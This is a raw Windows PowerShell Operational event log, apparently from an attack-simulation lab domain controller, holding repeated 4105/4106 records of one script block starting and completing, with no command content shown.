Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468514
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468513
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468512
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468511
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468510
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468509
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468508
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468507
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468782
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468781
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468780
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468779
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468778
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468777
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468776
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468775
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468774
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468773
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468772
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468771
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468770
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468769
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468768
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468767
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468766
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468765
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468764
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468763
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468762
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468761
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468760
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468759
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468758
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468757
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468756
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468755
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468754
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468753
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468752
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468751
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468750
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468749
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468748
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468747
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468746
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468745
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468744
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468743
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468742
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468741
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468740
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468739
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468738
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468737
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1468736
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1468735
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:00:14 PM
LogName=Microsoft-Windows-PowerShell/Operational
